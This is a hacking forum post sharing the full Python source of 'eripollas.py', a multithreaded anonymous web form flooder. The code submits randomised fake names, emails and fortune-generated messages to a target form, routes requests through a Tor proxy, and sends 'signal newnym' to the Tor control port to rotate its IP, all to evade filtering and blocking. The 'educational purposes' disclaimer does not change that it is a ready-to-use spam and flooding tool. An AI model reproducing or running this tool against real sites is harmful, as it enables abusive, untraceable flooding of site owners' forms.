• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl ~eripollas.py Multithreaded Anon Form Flooder~ v1.0 by diazromero

Status
Not open for further replies.

diazromero

Leech
User
Joined
Jan 5, 2012
Messages
57
Reputation
0
Reaction score
27
Points
18
Credits
0
‎13 Years of Service‎
57%
~eripollas.py Multithreaded Anon Form Flooder~ v1.0 by diazromero

ERIPOLLAS Functions:

- Can Flood forms *withouth captcha* by now

- Multithreaded

- Can make use of proxy (tor preferred, with privoxy or polipo)

- Source you can make use of and adapt according to your needs

- Automatic change of *TOR IP* each configured messages

- Receiver can not filter messages, automatic generation of unique messages. Functions for unique emails, strings, etc... you must only edit...

- Use of fortunes messages

DONT BE EVIL & educational purposes & ask for help if needed.

cheers!

diazromero

Code:
>'''
@author: diazromero
'''
import urllib, urllib2, cookielib, os, base64, random, string
import socket, threading, time


# Form response correct message string--EDIT
RESPUESTA = "El mesaje ha sido enviado correctamente."
# --EDIT
DEBUG = True

# Referrers  --EDIT
DOMAINS = ["hotmail.com", "gmail.com", "yahoo.com", "microsoft.com", "live.com", "mari.com"]
# Threads to use --EDIT
NTHREADS = 1
# --EDIT
ATTACKSPERTHREAD = 1
# URL TO ATTACK -- EDIT ---
URL="http://localhost/form.php"

class Thread(threading.Thread):

   def __init__(self, funcname, name='SpammerThread'):
       """ constructor, setting initial variables """

       self._stopevent = threading.Event()
       self._sleepperiod = 0.5
       self.funcname = funcname
       threading.Thread.__init__(self, name=name)
       self.stopped = False

   def run(self):
       """ main control loop """

       if DEBUG:
           print "%s starts" % (self.getName())
       count = 0
       while not self._stopevent.isSet() and count < ATTACKSPERTHREAD:
           count += 1
           self.funcname()
           self._stopevent.wait(self._sleepperiod)
       if DEBUG:
           print "%s ends" % (self.getName())
       self.stopped = True

   def join(self, timeout=None):
       """ Stop the thread and wait for it to end. """
       self._stopevent.set()
       threading.Thread.join(self, timeout)


def getFortune():
   stdin, stdout = os.popen2("fortune -o")
   out = stdout.read()
   if DEBUG:
       print out
   stdout.close()
   return out

def getRandomNumber(leng):
   return ''.join(random.choice("0123456789") for i in xrange(leng))


def getRandomString(leng):
   nbits = leng * 6 + 1
   bits = random.getrandbits(nbits)
   uc = u"%0x" % bits
   newlen = int(len(uc) / 2) * 2 # we have to make the string an even length
   ba = bytearray.fromhex(uc[:newlen])
   return base64.urlsafe_b64encode(str(ba))[:leng]


def send():
   global sent, bad, s
   # Proxy to use -- EDIT --- or comment next two lines for no proxy
   proxy_h = urllib2.ProxyHandler({"http" : "127.0.0.1:8123"})
   opener = urllib2.build_opener(proxy_h)
   urllib2.install_opener(opener)
   opener.addheaders.append(('User-agent', 'Mozilla/4.0'))
   opener.addheaders.append(('Referer', 'http://www.mari.com'))
   email = "%s@%s" % (getRandomString(random.randint(4, 20)), random.choice(DOMAINS))
   # --EDIT-- THIS FIELDS From form to flood
   data = urllib.urlencode({
   'nombre' : getRandomString(random.randint(5 , 26)), 
   'empresa' : getRandomString(random.randint(5 , 26)),
   'email' : email,
   'telefono' : getRandomNumber(random.randint(6, 15)), 
   'oferta' : getRandomString(random.randint(10, 45)), 
   'mensaje' : getFortune(),
   'newsletter' : random.choice(['si', 'no'])
   })
   try:
       resp = opener.open(URL, data)
   except:
       bad += 1
       return
   if DEBUG:
       print data
   page = resp.read()
   if DEBUG:
       print page
   resp.close()
   if page.find(RESPUESTA) > -1:
       sent += 1
   else:
       bad += 1
   print "sent ok %i bad %i" % (sent, bad)
   # Next 4 lines to change IP from TOR, COMMENT TO INVALIDATE
   if (sent + bad) % NTHREADS == 0 and (sent + bad):
       s.send('signal newnym\r\n')
       buff = s.recv(1024)
       print "new circuit"

def main(joumach):
   global sent, bad, s

   athreads = []
   print "[-] Started TestRouter Thread",
   # Next 4 lines to change IP from TOR, COMMENT TO INVALIDATE
   s = socket.socket(socket.AF_INET)
   s.connect(('127.0.0.1', 9051))
   s.send('authenticate ""\r\n')
   print s.recv(1024)

   k = 0
   sent = 0
   bad = 0
   joumach /= ATTACKSPERTHREAD
   while k < joumach:
       while (NTHREADS - len(athreads)) > 0 and k < joumach:

           thr = Thread(send)
           thr.start()
           athreads.append(thr)

           k += 1

       for thr in athreads:
           if thr.stopped:
               athreads.remove(thr)
           time.sleep(1.4)

   s.close()
   print "Attack Finished."

main(1)
 
Last edited by a moderator:
Status
Not open for further replies.
Back
Top